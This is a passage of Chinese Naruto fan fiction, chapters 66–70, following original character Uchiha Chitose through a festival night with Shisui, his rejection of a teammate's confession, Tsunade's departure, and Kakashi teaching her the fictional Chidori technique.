千歲忽然抬起头,鼻尖对着鼻尖,醉得厉害,眼神却出奇地亮:“止水……”
她声音软软的,带着酒后特有的黏腻:
“止水想要去做,那就去做吧。”
止水一怔。
“去追求你的梦想。”
“好好变强。”
止水看着眼前的少女,心里仿佛有什么在翻涌着。
“我……我会一直在的。”
止水心脏猛地一缩,像被什么轻轻抓住。
他沉默着,伸手轻轻按住她的肩,声音低得几乎要被风吹散:
“可是……这份任务,可能会很久。”
“久到……我可能很长时间都见不到你。”
千歲愣了愣,随即皱了皱小鼻子,像是在认真思考什么重大的事情。
片刻后,她突然伸手抓住他的袖子,力道不大,却异常坚定:
“不管止水在哪里……”
“我都会找到你。”
“止水去哪里,我就去哪里。”
她说得认真,又带着一丝酒后的莽撞与温热。
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止水怔住,指尖微微颤抖。
这句话直直照进他犹豫最深的地方。
他看着她醉红的脸,看着她那双因为酒精而雾蒙蒙、却异常明亮的眼睛,心里最后一道防线,终于塌了。
止水深吸一口气,像是下定了某种一生的决心。
他缓缓抬起头,望向河对岸远处暗部驻守的方向,声音坚定而清晰:
“我知道了,
谢谢你,千歲。”
千歲眼睛一亮,像是听懂了,又像是没听懂,只是甜甜笑了一下:
“真好……那以后,止水就更厉害了。”
她靠回他肩上,昏昏沉沉地睡了过去。
止水低头看着她,心跳久久未平。
夜风掠过,河面闪着碎光。
他知道,从这一刻起,路变了。
可只要心里那一点光没有灭,他就不会迷路。
千歲安安静静靠在止水的肩头,呼吸轻浅而均匀,带着酒后淡淡的甜香。止水一动不动地坐着,任由她将全身的重量轻轻倚在自己身上,鼻尖萦绕着她发丝的柔软气息。这是他第一次如此清晰地觉得,和千歲待在一起的时光,竟珍贵得奢侈又易碎。
不知究竟静坐了多久,怀里的少女依旧睡得安稳。止水保持着同一个姿势,半边肩膀早已麻木僵硬,酸胀得几乎失去知觉,却始终舍不得挪动分毫。
“千歲……”
他终于轻声唤了一句,声音被晚风揉得格外温柔。
千歲缓缓掀开沉重的眼皮,迷迷糊糊地眨了眨眼,环顾四周空荡荡的河堤,才惊觉夜色已深,人群早已散去。她揉着惺忪的睡眼,语气还带着刚睡醒的茫然:“止水?你怎么在河边睡着了呀?”
止水无奈又好笑,轻声纠正:“明明是你一直在睡。”
看着她脸上的红色渐渐褪去,神智也恢复了清明,止水便轻轻扶着她起身:“走吧,我送你回家。”
千歲猛地站直身子,双腿却依旧发软,脚下一虚便晃了晃。止水立刻伸手稳稳扶住她,动作自然又熟练。
就在这时,不远处的河堤尽头,一道小小的黑色身影静静伫立。
宇智波鼬的手里,紧紧攥着一盒还带着余温的草莓大福,那是他特意从暗部赶回来,想带给千歲的礼物。可当他抬眼望见长椅前相互搀扶的两人时,脚步猛地顿住,整个人僵在了原地。
是啊……他们从小一起长大,默契无间,站在一起时,连空气都显得格外契合。
而自己,不过是一个突然出现的旁观者。
鼬没有上前,只是安静地站在阴影里,垂在身侧的手指微微收紧,将纸盒捏出浅浅的痕迹。他就那样远远望着,眼底翻涌着连自己都难以言说的情绪,安静得像不存在。
千歲像是忽然感应到了身后的目光,下意识转过身。
在看见那道黑发少年身影的瞬间,她眼睛一亮,立刻扬起手,语气轻快又开心:“鼬!”
止水也顺着她的目光望去,对着鼬温和地挥了挥手,笑容依旧明朗。
鼬深吸了一口气,缓缓走上前,声音轻得几乎听不出起伏:
“前辈,止水桑……”
67.第67章 母亲唯一的念想
宇智波枭家门口的夜色还带着烟火残留的淡淡硝香。
止水一路上反复叮嘱,千万不能让千歲的爸爸知道她误喝了桃子味的甜酒,那副紧张兮兮的模样,连一旁的鼬都默默点头附和。
可门一打开,所有的小心思瞬间被戳破。
宇智波枭只是淡淡站在门内,目光沉静,鼻尖微动,空气中那一丝若有若无的甜腻酒气,便逃不过他的感知。
“老爸……我回来了。”
千岁率先开口。
宇智波枭抬眼,目光先掠过她,又沉沉落在止水和鼬身上,语气平淡却带着不容置疑的压迫感:“又上哪儿鬼混了?”
“没有鬼混,就是去看了烟火。”千岁连忙解释。
宇智波枭的视线扫过她今晚特意打扮过的模样,没再多问,只轻轻吐出一句:
“喝酒了?”
三个字,让三个人同时一惊。
止水心头一紧,立刻上前打圆场,语气都有些慌乱:“是、是带酒精味的甜饮,度数很低的,不算真喝酒……”
千岁也连忙跟着点头:“对、对呀!我就喝了一点点,真的一点点!”
宇智波枭看着两人一唱一和,没再追究,只是沉默地侧过身,让千岁进屋。
止水和鼬见状,也和千岁告别各自回家。
其实下午的时候,美琴就已经来过一趟,把他们落在家里的鱼饲料和千岁替换的族服送了过来,还轻声笑着告诉他:
“千岁跟鼬去花火大会了,晚上可能会回来得晚一点,您别担心。”
他早就知道,她去了哪里。
宇智波枭抱臂倚在门框边,语气若无其事,却故意抛了个难题给她:“我的鱼饲料呢?两枚鲤鱼已经饿死了。”
“什么!?”
千岁的脸瞬间褪成惨白。她光顾着沉醉于花火大会的,早把父亲交代的差事抛到了九霄云外。几乎是本能地,她冲向庭院里的鲤鱼池:
“哪里死掉了嘛??这不还生龙活虎的嘛?!”
月光下,池水波光粼粼,两条鲤鱼正悠然摆尾,时不时浮出水面吐泡。
这时,宇智波枭缓步走了过来,目光落在空无一物的石台旁。那里原本应该放着鱼饲料,却只有一张崭新的包装袋被随意丢在角落。
他垂眸,声音平静无波:“下午,鼬的母亲过来了。把你的饲料和衣服带过来了。”
千岁连忙站起身拍了拍裙摆:“原来是这样,那我身上这身衣服明天洗好得还回去。”
宇智波枭却没有接话,只是顿了顿,缓缓吐出一句话:
“她说,这件衣服,就留给你。不用还回去了。”
千岁愣住了。
宇智波枭的目光飘向远处的夜色,
是下午宇智波美琴的话:
“奏,以前曾送过我一件女式和服,本来是想要给我未出生的孩子做礼物。可是…你也知道,我家里的都是男孩,这件衣服,就留
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给千岁吧。是她母亲给她留下的唯一一件东西。”
回忆的余温在他眼底轻轻晃动。
思绪回笼,宇智波枭看向眼前不知所措的女儿:
“既然都这么说了,你就收好。”
千岁激动得小脸通红,声音里满是喜悦:
“真的吗!?那要谢谢美琴伯母了!”
宇智波枭望着眼前雀跃不已的千岁,女儿眼底亮晶晶的欢喜像极了当年的奏,柔软得能化开夜色里所有的冷硬。
他喉结轻轻动了动,脸上依旧是那副淡淡的、没什么情绪的模样,可心底最深处那道尘封已久的口子,却被美琴的一句话、女儿的一个笑容,轻轻掀了开来。
奏……
他在心底无声地唤了一声。
你给我们的女儿,留下了一件能陪着她长大的和服,留下了一份摸得着、穿得上的牵挂。
可你走的时候,什么都没有留给我。
没有一句来得及说出口的告别,没有一件独属于我们的旧物,没有一句叮嘱,甚至连一句“等我”都没有。
千岁满心都是得到礼物的欢喜,丝毫没有察觉父亲眼底一闪而过的、浓得化不开的落寞。
宇智波枭轻轻收回目光,难得地放轻、放柔,声音压得很低,低到只有自己能听见:
“喜欢就好好收着。”
那是你母亲,留给你最珍贵的东西。
也是我,能替你守住的、唯一的念想。
68.第68章 被拒绝的心意
火影办公室内
止水躬身,语气平静却无比坚定,将自己主动请缨长期驻守边境、执行卧底潜伏任务的决定,一字一句告知了猿飞日斩。
三代目火影抬眸,浑浊的眼中骤然掠过一道锐利的光,像是终于等到了最合适的人选。他缓缓颔首,指尖轻叩桌面:“我去吩咐,过几日会把小队名单给你,半月后,启程。”
只有尘埃落定的确认。
消息很快传到了海斗与漩涡咲耳中。
两人几乎是同时冲到止水面前,脸上写满了难以置信的震惊。
“你这家伙!”海斗一把攥住他的手臂,语气又急又恼,“这么大的事,也不跟我们提前商量一声?你走了,止水小队不就只剩下我和小咲了吗?”
止水只是轻轻笑了笑,眉眼依旧温和:“也是临时决定的,时间紧迫,来不及多说。”
一旁的漩涡咲抬眼望着眼前熟悉的少年,声音轻得几乎要被风吹散:“止水……此次离别,我们……要多久才能再见面?”
止水沉默了一瞬,语气轻缓却现实:“短则两年,长则……”
后面的话他没有说完,可漩涡咲的心却在那一刻重重沉了下去。
眼底的光一点点暗下来,连呼吸都变得发涩。
她喜欢止水。
从小队组建的第一天起,这份心意就悄悄埋在心底,日复一日,生根发芽。她曾鼓起勇气靠近过,却只换来他温柔又礼貌的若即若离。
海斗重重拍了拍止水的肩,努力压下不舍:“你去了那么远的地方,可千万别忘了我和小咲啊!”
“怎么可能。”止水依旧笑得轻松,仿佛只是出一趟寻常任务。
漩涡咲张了张嘴,想问那句藏了千万遍的话——
你对我,到底是什么心意?
可话到嘴边,又被她硬生生咽了回去。
她怕像上一次一样,鼓起全部勇气说出口,换来的依旧是他模糊不清、温柔却疏远的态度。
海斗见漩涡咲半天沉默不语,脸色也黯淡得厉害,当即拍了拍胸脯,大大咧咧地安慰:“小咲?你怎么啦?就算止水不在,我也会保护你的,别担心了。”
漩涡咲只是轻轻点了点头,声音轻得像一阵风:“我还有别的事情,你们先忙吧。”
说完,她没再看两人一眼,转身快步离开。单薄的背影融进木叶街道的光影里,带着一股说不出的落寞。
海斗望着她离去的方向,一脸茫然地挠了挠头:“她怎么了啊?刚才还好好的……”
止水没有回答。
他只是静静望着漩涡咲消失的拐角,脑海里,不自觉浮现出鼬之前和他说过的话——那些关于少女藏不住的在意、小心翼翼的靠近、以及一次次被他无意忽略的心意。
止水站在原地,眉眼依旧平静,没有多余的表情。
训练场
训练场中央,疾风卷着尘土飞扬。
纲手与千岁的对决正进行得激烈,随着千岁一记势大力沉的体术重拳爆发,纲手竟隐隐感到了抵挡的吃力。
她微微后撤一步,旋即收手,心中惊叹:这孩子的进步,实在太快了。
千岁见对方收了势,也立刻收敛了查克拉,气息平稳。
“从今天开始,你不必成为我的弟子了。”纲手平静地说。
“什么??”千岁一脸懵然。
“我已经没有什么可以交给你的了。”纲手语气释怀,带着几分欣慰。
千岁立刻垮起小脸:“不要啦!没有纲手大人陪我练,我根本摸不着头目!”
纲手看着她,无奈失笑,心里想着:毕竟还是个孩子啊。
“从明天起,我要离开木叶了。”
“为什么!?”千岁瞬间紧张起来,眉头皱成了一团。
纲手心头一滞。
总不能告诉这小鬼,是三代目火影逼她去赎初代老宅、甚至让她重操旧业靠赌命还债吧。
她轻咳一声,故作深沉:“我也有我需要做的事情……你,要学会独当一面。”
千岁愣了愣,低声重复:“独当一面…”
“你总是太依赖身边的人了,”纲手语气认真,“这份羁绊会阻碍你。如果想真正变强,就要学会一个人走下去。”
千岁懂她的意思,也清楚自己确实容易依赖他人。可是一想到要分别,眼泪还是不争气地涌了上来。
“纲手大人走了人家舍不得嘛!!”
她整个人挂在纲手手臂上,小脸通红,又可爱又搞笑。
纲手看着她,眼底的柔和不自觉漫了出来,抬手轻轻揉了揉她的头:“好了,我又不是不回来。有时间会回来看看你的。”
旁边,静音抱着手臂小声腹诽:
“估计是把赌资赌完的时候吧。”
千岁没听清后半句。
纲手耳尖一红,狠狠瞪了静音一眼:“闭嘴!”
看到千岁这样子,纲手轻轻蹲下身,与千岁平视,平日里爽朗强势的眉眼此刻褪去了所有锋芒,只剩下温和又坚定的力量。
“等下次回来,我再教你另一个忍术吧。”
原本还沉浸在不舍里的千岁瞬间眼睛一亮,所有难过都被好奇冲散,连忙仰起脸追问:“什么新忍术!?”
纲手指尖轻点自己额间的百豪印记,唇角勾起一抹自信的笑意:“百豪之术,想不想学?”
“想!”千岁几乎是脱口而出,小脑袋点得飞快。
“那就好好修炼。”纲手收起笑意,认真地叮嘱,“等我回来,要是发现你偷懒没长进,就别想学百豪之术了。”
望着眼前一直教导自己的纲手大人,千岁鼻尖一酸,眼眶再次不受控制地红了起来。她用力吸了吸鼻子,抬手狠狠抹了抹眼睛,把快要掉下来的眼泪憋回去,声音带着哭腔却格外坚定:
“那我肯定好好修行!绝对不给纲手大人丢脸!”
纲手看着她倔强又认真的小模样,心头一软,顺势伸手轻轻揉了揉她柔软的头发,语气里满是宠溺与期许:
“这才像样。”
木叶公园
傍晚的木叶公园,夕阳把树影拉得很长,风带着些许凉意,吹散了孩童的喧闹。空旷的长椅旁,只剩下止水与漩涡咲,空气中的沉闷与周围的嬉笑格格不入。
止水先打破了沉默,语气平和却疏离:“咲,你把我叫来,是有什么事吗?”
漩涡咲听到这句生疏的“咲”,眼底闪过一丝不易察觉的失落。她轻声呢喃:“以前,你都叫我小咲的…”
止水轻轻叹了口气,目光避开了她的视线,像是在刻意划清界限:“以前是不懂事。咲,如今我们也不是那个可以随意称呼的年纪了。”
漩涡咲沉默了,心头沉甸甸的。她能真切感觉到,最近的止水依旧温和,却总在无形之中与她保持着距离。
她深吸一口气,声音轻得像在祈祷:“止水,这次的边境任务……你可以……不去吗?”
止水看了她一眼,眼神平静无波:“此
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次是火影大人专门下令,而且事关边境安危,已经决定下来了。”
“原来……是这样啊……”漩涡咲的声音低了下去,带着一丝哽咽,“止水,我感觉你最近对我的态度越来越冷淡了……”
止水想起之前鼬对他说过的话——关于漩涡咲曾经的告白,以及他必须保持距离的缘由。他垂下眼帘,语气尽量温柔:“咲,你是我的同伴,我把你当成我最重要的伙伴……跟海斗一样。”
“不,不是的!”
没等止水说完,漩涡咲猛地抬头,眼中蓄满了泪水,却死死咬着唇不让它掉下来。她像是倾尽了所有勇气,声音颤抖却无比清晰地喊了出来:
“止水……我从很久很久以前,就喜欢你了!!”
“我喜欢你的温柔,喜欢你爽朗的笑,喜欢你在战斗中把我护在身后的样子!我真的……一直一直喜欢你!!”
说完,她闭上了眼睛,连呼吸都变得小心翼翼,生怕听到什么让她万劫不复的答案。
时间仿佛静止了。
过了很久,对面的少年才缓缓开口,声音温和得近乎残忍:“谢谢你,咲。”
漩涡咲猛地睁开眼。
“谢谢你一直以来对我的这份心意,”止水的表情很平静,甚至带着歉意,“可是……你的这份心意,我无法做出回应。”
“为什么!?”漩涡咲眼泪夺眶而出,“止水……是有其他喜欢的女孩子了吗?”
止水迎上她含泪的目光,脑海中自然而然地浮现出那抹总是带着倔强与依赖的金色的身影。他顿了顿,无比坚定地吐出一句:
“是的,我已经有喜欢的人了。”
“从很久很久前,我就已经喜欢她了。”
漩涡咲怔住了。
这个答案,她或许潜意识里已经猜到,可当它真真切切降临时,心脏还是痛得无法呼吸。
“是……千岁吗……”
她声音颤抖,指尖冰凉,连带着整个身体都在微微发抖。在日复一日的相处里,她早就发现了,止水看向千岁的眼神,永远有别于旁人的炽热与牵挂。
止水轻轻吐出一个字:
“嗯。”
风更大了,卷起了公园深处的落叶,也吹散了漩涡咲最后一点奢望。
止水看着她落泪的模样,想起她是并肩作战的伙伴,他轻轻别开视线,却带着无法抗拒的现实:
“咲,我知道这份心意对你来说很重。”
他顿了顿,“可是……我们是忍者。忍界的常态,从来不止是儿女情长。”
漩涡咲不说话,只是任由眼泪砸在手背上,哪怕被拒绝了,眼前的少年依旧温柔。他没有恶语相向,没有刻意逃避,甚至还在耐心地解释。可正是这份温柔得过于客气的疏离,才让她的心碎得更彻底。
就是因为他太温柔,温柔到能在战斗时把她护在身后,温柔到对待每一个伙伴都无微不至,她才会无可救药地喜欢上吧。
“我无法回应你的心意,”止水继续说,语气诚恳,“但这并不改变什么。你依然是止水小队里重要的伙伴之一,和海斗一样。”
这句话像是一根针,轻轻刺破了她最后一点奢望。
“和海斗一样……”
漩涡咲在心里轻轻重复了一遍,嘴角扯出一个比哭还难看的笑。
原来,从始至终,她都只是在“一样”的范畴里。此刻,她终于明白,有些温柔,是专属于某一个人的;而有些喜欢,注定只能藏在眼底,随风消散。
69.第69章 千鸟?!这是什么招数
这天,天刚蒙蒙亮,宇智波枭便被府邸外的动静扰醒。
不等他开口,两道身着族服的宇智波族人已径直踏入庭院,神色算不上恭敬,反倒带着几分不容拒绝的强硬。
“枭大人,族会今日召开,你已经缺席太久了。”
“差不多收敛点脾气,别太过分。”
另一人语气更冷,话里藏着隐隐的压迫:“若是还认自己是宇智波一族的人,今日老地方,必须到场。”
言语间,威胁意味毫不掩饰。
宇智波枭素来厌烦这些勾心斗角、虚与委蛇的族内议事,向来能避则避。可眼前两人显然是有备而来。
其中一人淡淡补上一句,彻底断了他推脱的念头:
“是族长大人亲自吩咐的,务必将枭大人请过去。”
是宇智波富岳的意思。
既然是族长下令,再推脱便不是随性,而是公然挑衅族规了。
宇智波枭垂在身侧的指尖微顿,眸中冷光一闪,却没再多说什么,只是淡淡抬眼,语气平静得听不出情绪:
“知道了。你们先回去,我收拾妥当,自会过去。”
宇智波枭俯身,望着女儿宇智波千岁恬静熟睡的小脸,原本紧绷的眉眼稍稍柔和了几分。
按照往日的习惯,此刻本该是修炼时间,可看着她难得睡得安稳,他终究不忍心叫醒。只是中忍考试决赛近在眼前,每一分每一秒的修行都至关重要,若是少了今日的训练,等千岁醒了,指不定要围着他念叨抱怨多久。
指尖轻轻拂过女儿额前的碎发,宇智波枭转瞬便有了别的主意。
片刻之后,火影办公室内。
猿飞日斩捏着烟斗,看着桌上突然递来的任务委托单,微微挑眉。
“S级任务委托?”他低声自语,随手翻过纸面,当看到委托人那一栏赫然写着宇智波枭四个字时,三代目不由得坐直了几分。
宇智波枭向来独来独往,极少主动向木叶递交任务,更别提是S级规格。猿飞日斩心中微疑,连忙看向委托内容——
协助宇智波千岁进行专属个人修行,执行忍者要求:暗部及以上级别,全程一对一指导。
猿飞日斩先是一怔,随即无奈地摇了摇头,烟斗在指间轻轻敲了敲桌面。
原来是这样。
这位素来冷淡疏离的宇智波枭,到头来最放在心上的,依旧是他的女儿。
委托金早已足额缴纳,任务流程也已登记在册,眼下只需指派合适的人手即可。
“去查一下,这两日空闲的暗部成员名单。”猿飞日斩沉声吩咐道。
手下很快递上名册,老人的目光在一连串名字中扫过,最终停留在了旗木卡卡西四个字上。
他心中瞬间有了决断。
卡卡西不仅是暗部精英,实力沉稳可靠,更重要的是,他拥有一只来自宇智波带土的写轮眼,与同样身为宇智波一族的千岁之间,有着天然的契合与联系。由他指导,再合适不过。
“立刻联系旗木卡卡西,”猿飞日斩语气平静,却带着不容置疑的命令,“告知他,有一项S级任务,即刻前往这里报到。”
火影办公室门前,旗木卡卡西望着手中标注着S级的任务文书,又看向面前这位一脸不悦的少女,语气里带着几分显而易见的困惑。
“所以,所谓的S级任务,就是负责指导眼前的这位孩子吗?”
宇智波千岁双臂抱在胸前,眉头微蹙,脸颊微微鼓起,明显对父亲擅自安排导师一事十分不满,整个人都写着抗拒。
一旁负责传达任务的暗部成员上前一步,语气平静地解释:“任务内容为对宇智波千岁进行一对一的专项忍术修行指导,委托人是她的父亲宇智波枭。”
见卡卡西依旧面露疑惑,暗部成员补充道:“任务已按照正规流程受理,这也是火影大人亲自指定的安排。”
卡卡西抬手轻轻挠了挠头,沉默片刻,只觉得肩上莫名多了一份不轻的责任。
卡卡西跟着宇智波千岁一路来到族地附近的训练场。他忽然想起前几日花火大会上,少女与止水、鼬并肩而行时轻松明快的模样,与此刻周身透着低气压的状态判若两人,怎么看都像是在闹着不小的脾气。
率先打破沉默的是卡卡西,他语气平和地开口问道:“千岁,你今天想修炼些什么?”
千岁没有应声,只是沉默地盯着他,眼底带着几分明显的抵触。原本与父亲约好今日修习剑术,可宇智波枭一早只留下一张字条,让她前往火影办公室,她万万没有想到,父亲竟是打算将她的修行直接托付给别人。一想到这里,她心底便忍不住暗自嘟囔,坏老爸,再也不要理他了。
卡卡西见状不由得抬手挠了挠头,印象里的宇智波千岁向来活泼跳脱,今日这般沉闷冷淡,倒是让他有些意外。
片刻后,千岁终于开口,语气带着几分赌气的意味:“卡卡西前辈,你能教我最厉害的忍术吗?”
既然不能按计划修习剑术,那她便偏要学别的,非要气一气擅自做主的宇智波枭。
卡卡西微微一顿,随即认真回道:“最厉害的忍术吗……那就从分身术开始吧。”
此话一出,千岁瞬间炸毛,满脸不满地开口:“什么嘛!那不是最基础的忍术吗?又不是忍校的毕业考试。”
看着少女恢复了平日里咋咋呼呼的模样,卡卡西暗自松了口气,这才是他印象中的样子。他轻声解释道:“忍术的种类繁多,并不存在绝对最强的一种,彼此之间相互制衡,最终的效果,终究要看使用者如何运用。”
千岁似懂非懂地低下头,脑海中不由自主地回想起此前在水之国对战长谷川、中忍考试对阵长十郎的场景。她所依仗的始终只有横冲直撞的怪力与初入门径的剑术,所有招式都局限于短距离体术范畴,一旦遭遇远距离的忍术攻击,便立刻陷入束手无策的境地。
她抬起头,眼神里多了几分认真:“那有没有那种攻击距离长、范围大、威力又高的忍术?”
卡卡西沉吟片刻,直白地说道:“或许是有的,但以你目前的战斗经验与查克拉掌控力,想要驾驭几乎是不可能的。”
千岁有些泄气,小声嘟囔道:“我现在会的就只有短距离的体术和剑术,我也想学一些看上去更厉害的忍术。”
卡卡西抬手摸了摸下巴,陷入思索,随即开口问道:“你的查克拉属性是……”
千岁微微歪着头,一脸茫然,显然没明白他在说什么。
卡卡西顿时沉默,心底默默叹了口气,该不会……连自己的查克拉属性都不知道吧。
卡卡西从忍具包中取出一张薄薄的查克拉测试纸,递到千岁面前。
“用两根手指夹住它,试着往里面注入查克拉。”
千岁依言照做,可试纸毫无反应。
“嗯?”
她皱了皱眉,以为是自己查克拉控制不够稳定,便凝神静气,再一次缓缓将查克拉注入试纸。
下一秒,原本平整的纸片骤然皱缩,紧跟着又迅速硬化、崩裂成细碎的土渣,被风一吹,轻飘
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飘散了开去。
卡卡西微微挑眉。
“雷遁……还有土遁吗?竟然同时具备两种属性。”
千岁满眼好奇:“卡卡西前辈,这是什么意思呀?”
“纸张起皱,代表你拥有雷属性。”卡卡西语气平静地解释,“之后硬化碎裂,则说明你在雷遁之外,还兼具土遁资质。”
千岁从未接触过雷遁与土遁,一听这话,眼睛瞬间亮了起来,语气里满是兴奋:“真的吗?那我是不是很有天赋?”
卡卡西毫不留情地泼了盆冷水:“算不上天赋,只能说你对雷遁和土遁的适应性,远高于火遁和风遁。”
他看着眼前情绪起伏明显的少女,沉默片刻,忽然问道:
“你……为什么这么执着于学忍术?”
千岁愣了一下,觉得这话有些莫名其妙。
忍者不学忍术,还能做什么?
但她还是认真地低下头,声音轻却异常坚定:
“我知道这么说可能有点自大……
但我想在两周后的中忍考试里,战胜鼬。”
卡卡西的动作微微一顿。
宇智波鼬,那个族内公认的天才。
“这样才能追上那个人的脚步…”
黑色卷发少年的身影又一次出现在千歲的脑海中。
千岁抬起头,眼神里没有半分退缩:
“只有这样,才能证明我自己,才能变得更强……”
她顿了顿,心中想起那些曾经为了保护她,一次次站在她身前的伙伴。
“才能保护好,我重视的人。”
那副认真又倔强的模样,让卡卡西恍惚间想起了某个早已不在的故人。
他沉默了很久,久到千岁都以为他不会回应。
最终,卡卡西轻轻叹了口气,眼底掠过一丝柔和。
“……好。既然你这么说,
我教你。”
话音落下,卡卡西查克拉在掌心剧烈奔涌,刺耳的雷鸣声骤然炸响,刺眼的蓝白色雷光在他手中疯狂缠绕、跳动,如同被束缚的闪电猛兽,发出滋滋的尖锐声响。
空气都因高温微微扭曲,地面的碎石被电流震得轻轻跳动。
掌心的雷光凝聚到极致,光芒耀眼却不失控制,每一缕电流都精准地束缚在掌心范围之内,没有半分外泄。
千岁下意识屏住呼吸,心跳仿佛漏了一拍。
她从未见过如此华丽又极具压迫感的忍术,雷光闪烁的瞬间,她甚至能感受到皮肤上传来的轻微麻意。
“好、好厉害……”
她小声惊叹,目光死死黏在那团雷光。
卡卡西缓缓散去手中的千鸟,雷鸣与光芒一同消失,训练场重新恢复安静。
“千鸟是将高密度的雷遁查克拉集中于手掌,以突刺方式进行攻击的必杀技,速度快、威力大,但对查克拉控制、身体动态视力、突刺时机都有极高的要求。”
他看向依旧处于震撼中的千岁,语气温和却严肃:
“以你现在的水平,还无法触碰。但如果你愿意从基础一步步练起,总有一天,你也能掌握属于自己的雷遁。”
“我要学!我一定要学会雷遁,在中忍考试里打败鼬!”
听着她直白又纯粹的宣言,卡卡西沉默片刻,脑海中再次闪过那个戴着护额、笑容明亮的少年身影。
他轻轻叹了口气,眼中多了几分不易察觉的温柔。
“那就开始吧。
从最基础的查克拉流动开始。”
70.第70章 卡卡西变老师了
千鸟的根基,在于对查克拉极致的精准控制。
卡卡西原本已经做好了准备,觉得眼前这个性子跳脱的少女,大概率会在枯燥的基础控制练习里半途而废,甚至闹起小脾气。
可当千岁真正开始凝聚、操控查克拉时,卡卡西脸上的平静一点点消失,取而代之的是难以掩饰的惊讶。
她指尖的雷遁查克拉稳定、细腻、收放自如,没有丝毫多余的外泄,更没有他预想中的粗糙与混乱。
这份精准度,远远超出了同龄下忍该有的水准,甚至……已经逼近了上忍的控制级别。
卡卡西心底微震。
他自然不会知道,早在数月之前,千岁便已经跟着纲手日复一日地打磨查克拉控制,那段时间的修行枯燥又严苛,她却一天都未曾中断。
正是那段沉淀,让她在这一刻展露了惊人的底子。
千岁见卡卡西神色凝重地盯着自己,不由得有些紧张,小心翼翼地开口:
“卡卡西前辈,是我哪里做得不对吗?”
卡卡西回过神,轻轻摇头,语气里带着一丝不易察觉的释然与认可。
“不……反而正是这样,一切就都好说了。”
他原本还在担心,以千岁的基础,想要在两周内掌握雷遁基础几乎是天方夜谭。
可现在看来,这个少女远比他想象中要可靠得多。
“你的查克拉控制精度,远超我的预料。”卡卡西难得直白地称赞,“既然如此,我们可以跳过基础磨合,直接开始学习千鸟的雏形——雷遁·雷切前身的凝聚方式。”
千岁屏住呼吸,按照卡卡西刚刚演示的要领,将雷遁查克拉一点点往掌心汇聚。
那是一种极其微妙的过程,查克拉如同细密的水流,被她死死攥住,然后疯狂地压缩、再压缩。掌心的皮肤微微发麻,空气里提前传来了细微的“滋滋”声。
“继续加压。”卡卡西低喝一声,眼神锐利地引导着她。
千岁能清晰地感觉到,那团原本温顺的雷遁查克拉,此刻正处于一种爆发的边缘——就像一只被关在笼子里的野兽,正拼命想要冲破束缚。
下一秒,掌心骤然爆发出刺眼的蓝白色雷光。
不同于卡卡西那招完美收敛的千鸟,千岁掌心的雷光更加汹涌,甚至带着一丝野性的躁动,噼啪作响的电流瞬间蔓延开来,整个训练场仿佛都被这突如其来的强光照亮。
“成功了……吗?”千岁兴奋地刚想抬手,却猛地顿住了。
因为那团雷芒根本不受控制。
电流在她的指尖疯狂乱窜,不仅汇聚在掌心,甚至顺着手臂反冲回去,带着一阵剧烈的麻痹感。
“啊——!”
千岁整个人浑身一哆嗦,掌心的雷芒瞬间炸散。她像是被电麻了一样,猛地往后倒退几步,整个人瘫坐在地上,头发根根竖起,像极了一只被雷劈过的小猫咪,脸上灰扑扑的。
“好痛……麻麻的……”千岁有气无力地嘟囔着,挣扎着想爬起来,结果双腿发软,直接又坐回了原地。
卡卡西走上前,看着她那副惨兮兮的样子,虽然面无表情,但眼底深处闪过一阵笑意。他伸手将她拉起来,拍了拍她身上的灰尘。
“第一次尝试就能凝聚出雏形,已经很不错了。”卡卡西语气平淡地点评道,“你的雷遁查克拉量很足,爆发力甚至比我还要强,但……控制力太差了。”
千岁垂头丧气地点点头,刚才那种力量感让她很着迷,可结果却是自己被电得七荤八素。
“我知道了……下次我会控制好的!”千岁重新握紧拳头,眼神再次变得坚定起来,“我一定要在中忍考试前学会千鸟!”
卡卡西看着眼前的少女,没有多说什么,只是再次抬起手掌,查克拉汹涌却有序地汇聚,淡蓝色的电光瞬间缠绕而上,噼啪作响的雷鸣声充斥整个训练场,雷光耀眼,空气都泛起一阵焦麻的气息。
千鸟完整地出现在卡卡西掌心,锋芒逼人,却被他控制得纹丝不乱。
“这就是完全形态的千鸟。它的名字由来,是因为电流声响如同千只鸟同时鸣叫。它速度快、威力大,但缺点也很明显——突进时视野受限,需要极强的动态视力支撑,否则很容易被对手反制。”
千岁听得认真,却依旧有些似懂非懂,只能轻轻点了点头。
卡卡西看在眼里,缓缓补充道:
“宇智波一族的写轮眼,恰恰可以完美克服这个缺陷。”
话音落下,他目光落回千岁身上,语气多了几分认真:
“你如今,是否已经开眼?”
千岁闻言,立刻扬起下巴,露出几分小小的骄傲。她双眼微微一凝,鲜红的写轮眼瞬间浮现,眼底一枚清晰的勾玉缓缓转动。
“一勾玉吗。”卡卡西低声自语,随即轻轻颔首,“即便如此,问题也应该不大。”
有宇智波血脉与写轮眼的动态视力加持,千鸟最大的短板便能被弥补。
“有写轮眼为你加持,接下来的修行,一切都好说了。”
卡卡西看着千岁眼底那枚尚显稚嫩的一勾玉写轮眼,沉默片刻,缓缓抬起手,将额前的护额轻轻向上一推。
左眼暴露在阳光下的瞬间,红色的瞳孔与三道黑色勾玉缓缓旋转,一股沉稳而锐利的气息悄然散开。
千岁满眼震惊。
写轮眼是族人独有的血继界限,可眼前的旗木卡卡西,明明不是宇智波之人,左眼却拥有着完整的三勾玉写轮眼。
疑惑与惊讶写满了她的脸庞。
卡卡西没有过多解释那双眼睛的来历,只是平静开口:“写轮眼能捕捉动态、预判轨迹,正好弥补千鸟突进时的视野缺陷。看好了。”
话音落下,查克拉瞬间在掌心奔涌凝聚。滋滋的雷鸣声再次响起,蓝白色的雷光疯狂缠绕,千鸟完整成型,光芒刺眼却被牢牢掌控。
配合着写轮眼,他身形骤然化作一道残影,直线突进。
速度快到只剩下一道雷
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光轨迹,破空声与鸟鸣般的电流声交织在一起,狠狠砸在训练场的岩石靶位上。
轰——!
坚硬的岩石瞬间炸裂,碎石飞溅。
整套动作干脆利落,没有半分多余,突进、瞄准、命中,全靠写轮眼精准把控。
雷光散去,卡卡西缓缓收回手,将护额重新拉下,遮住左眼。
“这就是写轮眼与千鸟的配合。动态视力跟上突进速度,便不会再出现攻击空门或被反制的情况。”
他看向依旧有些发怔的千岁,语气平稳:“现在,用你的写轮眼,再试一次。”
千岁深吸一口气,压下心底对那双写轮眼的疑惑,重新集中精神。
她闭上眼再睁开,一勾玉写轮眼稳稳开启,视线瞬间变得清晰而锐利,周遭空气的流动都仿佛慢了几分。
“集中查克拉到掌心,控制密度,不要急着冲出去。”卡卡西的声音在一旁冷静提醒,“先稳住雷遁,再动身体。”
